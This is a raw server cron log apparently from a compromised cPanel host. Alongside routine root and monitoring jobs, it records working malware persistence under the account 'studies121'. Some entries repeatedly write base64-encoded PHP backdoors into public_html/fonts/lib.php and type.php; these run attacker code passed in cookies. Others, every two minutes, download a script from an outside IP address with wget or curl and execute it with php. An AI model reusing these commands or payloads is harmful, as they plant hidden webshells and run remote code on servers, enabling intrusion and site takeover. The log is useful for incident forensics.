Feb 23 02:35:01 ip-184-168-122-23 CROND[11387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:35:01 ip-184-168-122-23 CROND[11388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 23 02:35:01 ip-184-168-122-23 CROND[11389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 02:35:01 ip-184-168-122-23 CROND[11390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:35:01 ip-184-168-122-23 CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:36:01 ip-184-168-122-23 CROND[11734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:36:01 ip-184-168-122-23 CROND[11738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:36:01 ip-184-168-122-23 CROND[11739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:36:01 ip-184-168-122-23 CROND[11737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:36:01 ip-184-168-122-23 CROND[11736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:37:01 ip-184-168-122-23 CROND[12073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:37:01 ip-184-168-122-23 CROND[12075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:37:01 ip-184-168-122-23 CROND[12074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:37:01 ip-184-168-122-23 CROND[12079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:38:01 ip-184-168-122-23 CROND[12398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:38:01 ip-184-168-122-23 CROND[12395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:38:01 ip-184-168-122-23 CROND[12396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:38:01 ip-184-168-122-23 CROND[12397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:38:01 ip-184-168-122-23 CROND[12399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:39:02 ip-184-168-122-23 CROND[12811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:39:02 ip-184-168-122-23 CROND[12813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:39:02 ip-184-168-122-23 CROND[12814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:39:02 ip-184-168-122-23 CROND[12815]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 02:39:02 ip-184-168-122-23 CROND[12816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13143]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:40:01 ip-184-168-122-23 CROND[13149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:40:01 ip-184-168-122-23 CROND[13154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13155]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:40:01 ip-184-168-122-23 CROND[13157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:41:01 ip-184-168-122-23 CROND[13511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:41:01 ip-184-168-122-23 CROND[13512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:41:01 ip-184-168-122-23 CROND[13510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:41:01 ip-184-168-122-23 CROND[13513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:42:01 ip-184-168-122-23 CROND[13845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:42:01 ip-184-168-122-23 CROND[13847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:42:01 ip-184-168-122-23 CROND[13848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:42:01 ip-184-168-122-23 CROND[13846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:42:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:43:01 ip-184-168-122-23 CROND[14163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:43:01 ip-184-168-122-23 CROND[14165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:43:01 ip-184-168-122-23 CROND[14168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:43:01 ip-184-168-122-23 CROND[14167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:44:01 ip-184-168-122-23 CROND[14463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:44:01 ip-184-168-122-23 CROND[14465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:44:01 ip-184-168-122-23 CROND[14467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:44:01 ip-184-168-122-23 CROND[14466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:44:01 ip-184-168-122-23 CROND[14468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:45:01 ip-184-168-122-23 CROND[15117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:45:01 ip-184-168-122-23 CROND[15118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:45:01 ip-184-168-122-23 CROND[15119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:45:01 ip-184-168-122-23 CROND[15125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:45:01 ip-184-168-122-23 CROND[15124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:45:01 ip-184-168-122-23 CROND[15123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:46:01 ip-184-168-122-23 CROND[15449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:46:01 ip-184-168-122-23 CROND[15450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:46:01 ip-184-168-122-23 CROND[15452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:46:01 ip-184-168-122-23 CROND[15455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:46:01 ip-184-168-122-23 CROND[15456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:46:01 ip-184-168-122-23 CROND[15457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 02:47:01 ip-184-168-122-23 CROND[15786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:47:01 ip-184-168-122-23 CROND[15785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
